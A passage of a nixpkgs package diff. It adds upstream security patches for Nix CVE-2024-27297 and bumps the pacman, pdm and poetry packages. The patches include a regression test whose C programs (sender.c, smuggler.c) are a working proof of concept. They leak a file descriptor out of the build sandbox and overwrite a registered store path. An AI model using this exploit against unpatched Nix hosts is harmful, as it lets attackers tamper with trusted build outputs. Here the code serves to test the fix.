msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Write an SCM_RIGHTS message containing the output path. ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ hdr->cmsg_len = CMSG_LEN(sizeof(int)); ++ hdr->cmsg_level = SOL_SOCKET; ++ hdr->cmsg_type = SCM_RIGHTS; ++ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); ++ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); ++ ++ msg.msg_controllen = CMSG_SPACE(sizeof(int)); ++ ++ // Write a single null byte too. ++ msg.msg_iov = malloc(sizeof(struct iovec)); ++ msg.msg_iov[0].iov_base = ""; ++ msg.msg_iov[0].iov_len = 1; ++ msg.msg_iovlen = 1; ++ ++ // Send it to the othher side of this connection. ++ res = sendmsg(sock, &msg, 0); ++ if (res < 0) perror("sendmsg"); ++ int buf; ++ ++ // Wait for the server to close the socket, implying that it has ++ // received the commmand. ++ recv(sock, (void *)&buf, sizeof(int), 0); ++} +diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c +new file mode 100644 +index 000000000..82acf37e6 +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/smuggler.c +@@ -0,0 +1,66 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Bind to the socket. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ int res = bind(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0) perror("bind"); ++ ++ res = listen(sock, 1); ++ if (res < 0) perror("listen"); ++ ++ int smuggling_fd = -1; ++ ++ // Accept the connection a first time to receive the file descriptor. ++ fprintf(stderr, "%s\n", "Waiting for the first connection"); ++ int a = accept(sock, 0, 0); ++ if (a < 0) perror("accept"); ++ ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Receive the file descriptor as sent by the smuggler. ++ recvmsg(a, &msg, 0); ++ ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ while (hdr) { ++ if (hdr->cmsg_level == SOL_SOCKET ++ && hdr->cmsg_type == SCM_RIGHTS) { ++ ++ // Grab the copy of the file descriptor. ++ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); ++ } ++ ++ hdr = CMSG_NXTHDR(&msg, hdr); ++ } ++ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); ++ close(a); ++ ++ // Wait for a second connection, which will tell us that the build is ++ // done ++ a = accept(sock, 0, 0); ++ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); ++ // Write a new content to the file ++ if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); ++ char * new_content = "Pwned\n"; ++ int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); ++ if (written_bytes != strlen(new_content)) perror("write"); ++} +diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix +index 4459aa664..4c1cf785c 100644 +--- a/tests/nixos/default.nix ++++ b/tests/nixos/default.nix +@@ -40,4 +40,6 @@ in + setuid = lib.genAttrs + ["i686-linux" "x86_64-linux"] + (system: runNixOSTestFor system ./setuid.nix); ++ ++ ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; + } +-- +2.42.0 + + +From 558dab42315f493aa4e8480a57c2d3b0834392ec Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Tue, 13 Feb 2024 08:28:02 +0100 +Subject: [PATCH 2/4] Copy the output of fixed-output derivations before + registering them + +It is possible to exfiltrate a file descriptor out of the build sandbox +of FODs, and use it to modify the store path after it has been +registered. +To avoid that issue, don't register the output of the build, but a copy +of it (that will be free of any leaked file descriptor). +--- + src/libstore/build/local-derivation-goal.cc | 6 ++++++ + src/libutil/file-system.cc | 5 +++++ + src/libutil/file-system.hh | 7 +++++++ + 3 files changed, 18 insertions(+) + +diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc +index a9f930773..d83c47d00 100644 +--- a/src/libstore/build/local-derivation-goal.cc ++++ b/src/libstore/build/local-derivation-goal.cc +@@ -2543,6 +2543,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() + [&](const DerivationOutput::CAFixed & dof) { + auto & wanted = dof.ca.hash; + ++ // Replace the output by a fresh copy of itself to make sure ++ // that there's no stale file descriptor pointing to it ++ Path tmpOutput = actualPath + ".tmp"; ++ copyFile(actualPath, tmpOutput, true); ++ renameFile(tmpOutput, actualPath); ++ + auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { + .method = dof.ca.method, + .hashType = wanted.type, +diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc +index c96effff9..777f83c30 100644 +--- a/src/libutil/file-system.cc ++++ b/src/libutil/file-system.cc +@@ -616,6 +616,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) + } + } + ++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) ++{ ++ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); ++} ++ + void renameFile(const Path & oldName, const Path & newName) + { + fs::rename(oldName, newName); +diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh +index 4637507b3..71db7d8bc 100644 +--- a/src/libutil/file-system.hh ++++ b/src/libutil/file-system.hh +@@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst); + */ + void moveFile(const Path & src, const Path & dst); + ++/** ++ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is ++ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but ++ * with the guaranty that the destination will be “fresh”, with no stale inode ++ * or file descriptor pointing to it). ++ */ ++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); + + /** + * Automatic cleanup of resources. +-- +2.42.0 + + +From 6adce5c3baddf20a5865a646a6d5117e83693497 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <7226587+thufschmitt@users.noreply.github.com> +Date: Wed, 21 Feb 2024 17:32:36 +0100 +Subject: [PATCH 3/4] Fix a typo in a test comment + +Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> +--- + tests/nixos/ca-fd-leak/default.nix | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +index 40e57ea02..a6ae72adc 100644 +--- a/tests/nixos/ca-fd-leak/default.nix ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -80,7 +80,7 @@ in + # Tell the smuggler server that we're done + machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") + +- # Check that the file was modified ++ # Check that the file was not modified + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" +-- +2.42.0 + + +From 7a803d9d5460cc990f20eff7d4d5a3623298c15b Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Fri, 1 Mar 2024 09:31:05 +0100 +Subject: [PATCH 4/4] Add release notes + +--- + doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++ + 1 file changed, 14 insertions(+) + create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md + +diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md +new file mode 100644 +index 000000000..ed451711e +--- /dev/null ++++ b/doc/manual/rl-next/fod-sandbox-escape.md +@@ -0,0 +1,14 @@ ++--- ++synopsis: Fix a FOD sandbox escape ++issues: ++prs: ++--- ++ ++Cooperating Nix derivations could send file descriptors to files in the Nix ++store to each other via Unix domain sockets in the abstract namespace. This ++allowed one derivation to modify the output of the other derivation, after Nix ++has registered the path as "valid" and immutable in the Nix database. ++In particular, this allowed the output of fixed-output derivations to be ++modified from their expected content. ++ ++This isn't the case any more. +-- +2.42.0 diff --git a/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch b/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch new file mode 100644 index 0000000000000..b8201cb99ef5c --- /dev/null +++ b/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch @@ -0,0 +1,375 @@ +From 9c0be4c156e74a3e7e0d33b04d870642350e72d4 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Mon, 12 Feb 2024 21:28:20 +0100 +Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape + +Test that we can't leverage abstract unix domain sockets to leak file +descriptors out of the sandbox and modify the path after it has been +registered. +--- + release.nix | 5 ++ + tests/nixos/ca-fd-leak/default.nix | 93 ++++++++++++++++++++++++++++++ + tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ + tests/nixos/ca-fd-leak/smuggler.c | 66 +++++++++++++++++++++ + 4 files changed, 229 insertions(+) + create mode 100644 tests/nixos/ca-fd-leak/default.nix + create mode 100644 tests/nixos/ca-fd-leak/sender.c + create mode 100644 tests/nixos/ca-fd-leak/smuggler.c + +diff --git a/release.nix b/release.nix +index f468946c5..2e71f3796 100644 +--- a/release.nix ++++ b/release.nix +@@ -235,6 +235,11 @@ let + nix = build.x86_64-linux; system = "x86_64-linux"; + }); + ++ tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec { ++ inherit nixpkgs; ++ nix = build.x86_64-linux; system = "x86_64-linux"; ++ }); ++ + tests.setuid = pkgs.lib.genAttrs + ["i686-linux" "x86_64-linux"] + (system: +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +new file mode 100644 +index 000000000..c252caa4d +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -0,0 +1,93 @@ ++# Nix is a sandboxed build system. But Not everything can be handled inside its ++# sandbox: Network access is normally blocked off, but to download sources, a ++# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". ++# The detail here is not important, but in our case it means that the hash of ++# the output has to be known beforehand. And if you know that, you get a few ++# rights: you no longer run inside a special network namespace! ++# ++# Now, Linux has a special feature, that not many other unices do: Abstract ++# unix domain sockets! Not only that, but those are namespaced using the ++# network namespace! That means that we have a way to create sockets that are ++# available in every single fixed-output derivation, and also all processes ++# running on the host machine! Now, this wouldn't be that much of an issue, as, ++# well, the whole idea is that the output is pure, and all processes in the ++# sandbox are killed before finalizing the output. What if we didn't need those ++# processes at all? Unix domain sockets have a semi-known trick: you can pass ++# file descriptors around! ++# This makes it possible to exfiltrate a file-descriptor with write access to ++# $out outside of the sandbox. And that file-descriptor can be used to modify ++# the contents of the store path after it has been registered. ++ ++{ nixpkgs, system, nix }: ++ ++with import (nixpkgs + "/nixos/lib/testing-python.nix") { ++ inherit system; ++}; ++ ++let ++ # Simple C program that sends a a file descriptor to `$out` to a Unix ++ # domain socket. ++ # Compiled statically so that we can easily send it to the VM and use it ++ # inside the build sandbox. ++ sender = pkgs.runCommandWith { ++ name = "sender"; ++ stdenv = pkgs.pkgsStatic.stdenv; ++ } '' ++ $CC -static -o $out ${./sender.c} ++ ''; ++ ++ # Okay, so we have a file descriptor shipped out of the FOD now. But the ++ # Nix store is read-only, right? .. Well, yeah. But this file descriptor ++ # lives in a mount namespace where it is not! So even when this file exists ++ # in the actual Nix store, we're capable of just modifying its contents... ++ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); ++ ++ # The abstract socket path used to exfiltrate the file descriptor ++ socketName = "FODSandboxExfiltrationSocket"; ++in ++makeTest { ++ name = "ca-fd-leak"; ++ ++ nodes.machine = ++ { config, lib, pkgs, ... }: ++ { virtualisation.writableStore = true; ++ virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; ++ nix.binaryCaches = [ ]; ++ nix.package = nix; ++ }; ++ ++ testScript = { nodes }: '' ++ start_all() ++ ++ machine.succeed("echo hello") ++ # Start the smuggler server ++ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") ++ ++ # Build the smuggled derivation. ++ # This will connect to the smuggler server and send it the file descriptor ++ machine.succeed(r""" ++ nix-build -E ' ++ builtins.derivation { ++ name = "smuggled"; ++ system = builtins.currentSystem; ++ # look ma, no tricks! ++ outputHashMode = "flat"; ++ outputHashAlgo = "sha256"; ++ outputHash = builtins.hashString "sha256" "hello, world\n"; ++ builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; ++ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; ++ }' ++ """.strip()) ++ ++ ++ # Tell the smuggler server that we're done ++ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") ++ ++ # Check that the file was modified ++ machine.succeed(r""" ++ cat ./result ++ test "$(cat ./result)" = "hello, world" ++ """.strip()) ++ ''; ++ ++} +diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c +new file mode 100644 +index 000000000..75e54fc8f +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/sender.c +@@ -0,0 +1,65 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <fcntl.h> ++#include <errno.h> ++#include <string.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Set up a abstract domain socket path to connect to. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ ++ // Now try to connect, To ensure we work no matter what order we are ++ // executed in, just busyloop here. ++ int res = -1; ++ while (res < 0) { ++ res = connect(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0 && errno != ECONNREFUSED) perror("connect"); ++ if (errno != ECONNREFUSED) break; ++ } ++ ++ // Write our message header. ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Write an SCM_RIGHTS message containing the output path. ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ hdr->cmsg_len = CMSG_LEN(sizeof(int)); ++ hdr->cmsg_level = SOL_SOCKET; ++ hdr->cmsg_type = SCM_RIGHTS; ++ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); ++ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); ++ ++ msg.msg_controllen = CMSG_SPACE(sizeof(int)); ++ ++ // Write a single null byte too. ++ msg.msg_iov = malloc(sizeof(struct iovec)); ++ msg.msg_iov[0].iov_base = ""; ++ msg.msg_iov[0].iov_len = 1; ++ msg.msg_iovlen = 1; ++ ++ // Send it to the othher side of this connection. ++ res = sendmsg(sock, &msg, 0); ++ if (res < 0) perror("sendmsg"); ++ int buf; ++ ++ // Wait for the server to close the socket, implying that it has ++ // received the commmand. ++ recv(sock, (void *)&buf, sizeof(int), 0); ++} +diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c +new file mode 100644 +index 000000000..82acf37e6 +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/smuggler.c +@@ -0,0 +1,66 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Bind to the socket. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ int res = bind(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0) perror("bind"); ++ ++ res = listen(sock, 1); ++ if (res < 0) perror("listen"); ++ ++ int smuggling_fd = -1; ++ ++ // Accept the connection a first time to receive the file descriptor. ++ fprintf(stderr, "%s\n", "Waiting for the first connection"); ++ int a = accept(sock, 0, 0); ++ if (a < 0) perror("accept"); ++ ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Receive the file descriptor as sent by the smuggler. ++ recvmsg(a, &msg, 0); ++ ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ while (hdr) { ++ if (hdr->cmsg_level == SOL_SOCKET ++ && hdr->cmsg_type == SCM_RIGHTS) { ++ ++ // Grab the copy of the file descriptor. ++ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); ++ } ++ ++ hdr = CMSG_NXTHDR(&msg, hdr); ++ } ++ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); ++ close(a); ++ ++ // Wait for a second connection, which will tell us that the build is ++ // done ++ a = accept(sock, 0, 0); ++ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); ++ // Write a new content to the file ++ if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); ++ char * new_content = "Pwned\n"; ++ int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); ++ if (written_bytes != strlen(new_content)) perror("write"); ++} + +From 8c27eb6c1bc490c9d2f3c7c1dedb1ca3c8e00759 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Tue, 13 Feb 2024 08:28:02 +0100 +Subject: [PATCH 2/4] Copy the output of fixed-output derivations before + registering them + +It is possible to exfiltrate a file descriptor out of the build sandbox +of FODs, and use it to modify the store path after it has been +registered. +To avoid that issue, don't register the output of the build, but a copy +of it (that will be free of any leaked file descriptor). +--- + src/libstore/build.cc | 11 +++++++++-- + 1 file changed, 9 insertions(+), 2 deletions(-) + +diff --git a/src/libstore/build.cc b/src/libstore/build.cc +index d3a712c1a..3fb827a15 100644 +--- a/src/libstore/build.cc ++++ b/src/libstore/build.cc +@@ -3286,10 +3286,17 @@ void DerivationGoal::registerOutputs() + throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path); + #endif + +- /* Apply hash rewriting if necessary. */ ++ /* Apply hash rewriting if necessary. ++ * ++ * For FODs, we always do the dump-and-restore dance regardless to make ++ * sure that there's no stale file descriptor pointing to the output ++ * of the path. ++ * */ + bool rewritten = false; +- if (!outputRewrites.empty()) { ++ if (fixedOutput || !outputRewrites.empty()) { ++ if (!outputRewrites.empty()) { + printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path); ++ } + + /* Canonicalise first. This ensures that the path we're + rewriting doesn't contain a hard link to /etc/shadow or + +From 2064277b0566c361339d55fbbf46edbc2519f3b3 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <7226587+thufschmitt@users.noreply.github.com> +Date: Wed, 21 Feb 2024 17:32:36 +0100 +Subject: [PATCH 3/4] Fix a typo in a test comment + +Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> +--- + tests/nixos/ca-fd-leak/default.nix | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +index c252caa4d..2fd5ca2d6 100644 +--- a/tests/nixos/ca-fd-leak/default.nix ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -83,7 +83,7 @@ makeTest { + # Tell the smuggler server that we're done + machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") + +- # Check that the file was modified ++ # Check that the file was not modified + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" + +From 8604f6d32976fbdf84e46f75cbfa2446209b8a6b Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Fri, 1 Mar 2024 09:31:05 +0100 +Subject: [PATCH 4/4] Add release notes + +--- + doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++ + 1 file changed, 14 insertions(+) + create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md + +diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md +new file mode 100644 +index 000000000..ed451711e +--- /dev/null ++++ b/doc/manual/rl-next/fod-sandbox-escape.md +@@ -0,0 +1,14 @@ ++--- ++synopsis: Fix a FOD sandbox escape ++issues: ++prs: ++--- ++ ++Cooperating Nix derivations could send file descriptors to files in the Nix ++store to each other via Unix domain sockets in the abstract namespace. This ++allowed one derivation to modify the output of the other derivation, after Nix ++has registered the path as "valid" and immutable in the Nix database. ++In particular, this allowed the output of fixed-output derivations to be ++modified from their expected content. ++ ++This isn't the case any more. diff --git a/pkgs/tools/package-management/pacman/default.nix b/pkgs/tools/package-management/pacman/default.nix index 800e392f0f241..90252dca9cb2a 100644 --- a/pkgs/tools/package-management/pacman/default.nix +++ b/pkgs/tools/package-management/pacman/default.nix @@ -1,7 +1,6 @@ { lib , stdenv -, fetchpatch -, fetchurl +, fetchFromGitLab , asciidoc , binutils , coreutils @@ -39,19 +38,23 @@ , sysHookDir ? "/usr/share/libalpm/hooks/" }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (final: { pname = "pacman"; - version = "6.0.2"; + version = "6.1.0"; - src = fetchurl { - url = "https://sources.archlinux.org/other/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-fY4+jFEhrsCWXfcfWb7fRgUsbPFPljZcRBHsPeCkwaU="; + src = fetchFromGitLab { + domain = "gitlab.archlinux.org"; + owner = "pacman"; + repo = "pacman"; + rev = "v${final.version}"; + hash = "sha256-uHBq1A//YSqFATlyqjC5ZgmvPkNKqp7sVew+nbmLH78="; }; strictDeps = true; nativeBuildInputs = [ asciidoc + gettext installShellFiles libarchive makeWrapper @@ -71,11 +74,6 @@ stdenv.mkDerivation rec { patches = [ ./dont-create-empty-dirs.patch - # Add keyringdir meson option to configure the keyring directory - (fetchpatch { - url = "https://gitlab.archlinux.org/pacman/pacman/-/commit/79bd512181af12ec80fd8f79486fc9508fa4a1b3.patch"; - hash = "sha256-ivTPwWe06Q5shn++R6EY0x3GC0P4X0SuC+F5sndfAtM="; - }) ]; postPatch = let compressionTools = [ @@ -93,16 +91,16 @@ stdenv.mkDerivation rec { substituteInPlace meson.build \ --replace "install_dir : SYSCONFDIR" "install_dir : '$out/etc'" \ --replace "join_paths(DATAROOTDIR, 'libalpm/hooks/')" "'${sysHookDir}'" \ - --replace "join_paths(PREFIX, DATAROOTDIR, get_option('keyringdir'))" "'\$KEYRING_IMPORT_DIR'" + --replace "join_paths(PREFIX, DATAROOTDIR, get_option('keyringdir'))" "'\$KEYRING_IMPORT_DIR'" \ + --replace "join_paths(SYSCONFDIR, 'makepkg.conf.d/')" "'$out/etc/makepkg.conf.d/'" substituteInPlace doc/meson.build \ --replace "/bin/true" "${coreutils}/bin/true" substituteInPlace scripts/repo-add.sh.in \ --replace bsdtar "${libarchive}/bin/bsdtar" substituteInPlace scripts/pacman-key.sh.in \ --replace "local KEYRING_IMPORT_DIR='@keyringdir@'" "" \ - --subst-var-by keyringdir '\$KEYRING_IMPORT_DIR' \ - --replace "--batch --check-trustdb" "--batch --check-trustdb --allow-weak-key-signatures" - ''; # the line above should be removed once Arch migrates to gnupg 2.3.x + --subst-var-by keyringdir '\$KEYRING_IMPORT_DIR' + ''; mesonFlags = [ "--sysconfdir=/etc" @@ -132,6 +130,7 @@ stdenv.mkDerivation rec { changelog = "https://gitlab.archlinux.org/pacman/pacman/-/raw/v${version}/NEWS"; license = licenses.gpl2Plus; platforms = platforms.linux; + mainProgram = "pacman"; maintainers = with maintainers; [ samlukeyes123 ]; }; -} +}) diff --git a/pkgs/tools/package-management/pdm/default.nix b/pkgs/tools/package-management/pdm/default.nix index d94aaeae69d99..88ed0768b1d86 100644 --- a/pkgs/tools/package-management/pdm/default.nix +++ b/pkgs/tools/package-management/pdm/default.nix @@ -6,6 +6,9 @@ , fetchPypi , nix-update-script , runtimeShell +, installShellFiles +, testers +, pdm }: let python = python3.override { @@ -32,18 +35,19 @@ in with python.pkgs; buildPythonApplication rec { pname = "pdm"; - version = "2.12.3"; + version = "2.12.4"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-U82rcnwUaf3Blu/Y1/+EBKPKke5DwKVxRzbyAg0KXd8="; + hash = "sha256-0Eh3Ni+Vz5/8HSw4uFH2k3BuSSiEDkiYauV22tV0FJY="; }; nativeBuildInputs = [ pdm-backend + installShellFiles ]; propagatedBuildInputs = [ @@ -76,6 +80,23 @@ buildPythonApplication rec { truststore ]; + makeWrapperArgs = [ + "--set PDM_CHECK_UPDATE 0" + ]; + + preInstall = '' + # Silence network warning during pypaInstallPhase + # by disabling latest version check + export PDM_CHECK_UPDATE=0 + ''; + + postInstall = '' + installShellCompletion --cmd pdm \ + --bash <($out/bin/pdm completion bash) \ + --fish <($out/bin/pdm completion fish) \ + --zsh <($out/bin/pdm completion zsh) + ''; + nativeCheckInputs = [ pytestCheckHook pytest-mock @@ -91,7 +112,7 @@ buildPythonApplication rec { preCheck = '' export HOME=$TMPDIR substituteInPlace tests/cli/test_run.py \ - --replace "/bin/bash" "${runtimeShell}" + --replace-warn "/bin/bash" "${runtimeShell}" ''; disabledTests = [ @@ -104,6 +125,10 @@ buildPythonApplication rec { __darwinAllowLocalNetworking = true; + passthru.tests.version = testers.testVersion { + package = pdm; + }; + passthru.updateScript = nix-update-script { }; meta = with lib; { diff --git a/pkgs/tools/package-management/poetry/default.nix b/pkgs/tools/package-management/poetry/default.nix index 75cede5df7d35..d7442d74674f4 100644 --- a/pkgs/tools/package-management/poetry/default.nix +++ b/pkgs/tools/package-management/poetry/default.nix @@ -12,12 +12,12 @@ let # We keep the override around even when the versions match, as # it's likely to become relevant again after the next Poetry update. poetry-core = super.poetry-core.overridePythonAttrs (old: rec { - version = "1.8.1"; + version = "1.9.0"; src = fetchFromGitHub { owner = "python-poetry"; repo = "poetry-core"; - rev = version; - hash = "sha256-RnCJ67jaL2knwv+Uo7p0zOejHAT73f40weaJnfqOYoM="; + rev = "refs/tags/${version}"; + hash = "sha256-vvwKbzGlvv2LTbXfJxQVM3nUXFGntgJxsku6cbRxCzw="; }; }); } // (plugins self); diff --git a/pkgs/tools/package-management/poetry/unwrapped.nix b/pkgs/tools/package-management/poetry/unwrapped.nix index f13a7715464be..5e2cc63644ab6 100644 --- a/pkgs/tools/package-management/poetry/unwrapped.nix +++ b/pkgs/tools/package-management/poetry/unwrapped.nix @@ -4,7 +4,6 @@ , pythonOlder , fetchFromGitHub , installShellFiles -, pythonRelaxDepsHook , build , cachecontrol , cleo @@ -29,41 +28,30 @@ , xattr , tomli , importlib-metadata -, cachy , deepdiff -, flatdict , pytestCheckHook , httpretty , pytest-mock , pytest-xdist -, pythonAtLeast , darwin }: buildPythonPackage rec { pname = "poetry"; - version = "1.7.1"; - format = "pyproject"; + version = "1.8.2"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "python-poetry"; - repo = pname; + repo = "poetry"; rev = "refs/tags/${version}"; - hash = "sha256-PM3FIZYso7p0Oe0RpiPuxHrQrgnMlkT5SVeaJPK/J94="; + hash = "sha256-MBWVeS/UHpzeeNUeiHMoXnLA3enRO/6yGIbg4Vf2GxU="; }; nativeBuildInputs = [ installShellFiles - pythonRelaxDepsHook - ]; - - pythonRelaxDeps = [ - # platformdirs 4.x is backwards compatible; https://github.com/python-poetry/poetry/commit/eb80d10846f7336b0b2a66ce2964e72dffee9a1c - "platformdirs" - # xattr 1.0 is backwards compatible modulo dropping Python 2 support: https://github.com/xattr/xattr/compare/v0.10.0...v1.0.0 - "xattr" ]; propagatedBuildInputs = [ @@ -104,9 +92,7 @@ buildPythonPackage rec { ''; nativeCheckInputs = [ - cachy deepdiff - flatdict pytestCheckHook httpretty pytest-mock @@ -127,32 +113,14 @@ buildPythonPackage rec { ''; disabledTests = [ + "test_builder_should_execute_build_scripts" "test_env_system_packages_are_relative_to_lib" + "test_executor_known_hashes" "test_install_warning_corrupt_root" - "test_installer_with_pypi_repository" - # touches network - "git" - "solver" - "load" - "vcs" - "prereleases_if_they_are_compatible" - "test_builder_setup_generation_runs_with_pip_editable" - "test_executor" - # requires git history to work correctly - "default_with_excluded_data" - # toml ordering has changed - "lock" - # fs permission errors - "test_builder_should_execute_build_scripts" - # poetry.installation.chef.ChefBuildError: Backend 'poetry.core.masonry.api' is not available. - "test_isolated_env_install_success" - "test_prepare_sdist" - "test_prepare_directory" - "test_prepare_directory_with_extensions" - "test_prepare_directory_editable" - ] ++ lib.optionals (pythonAtLeast "3.10") [ - # RuntimeError: 'auto_spec' might be a typo; use unsafe=True if this is intended - "test_info_setup_complex_pep517_error" + ]; + + pytestFlagsArray = [ + "-m 'not network'" ]; # Allow for package to use 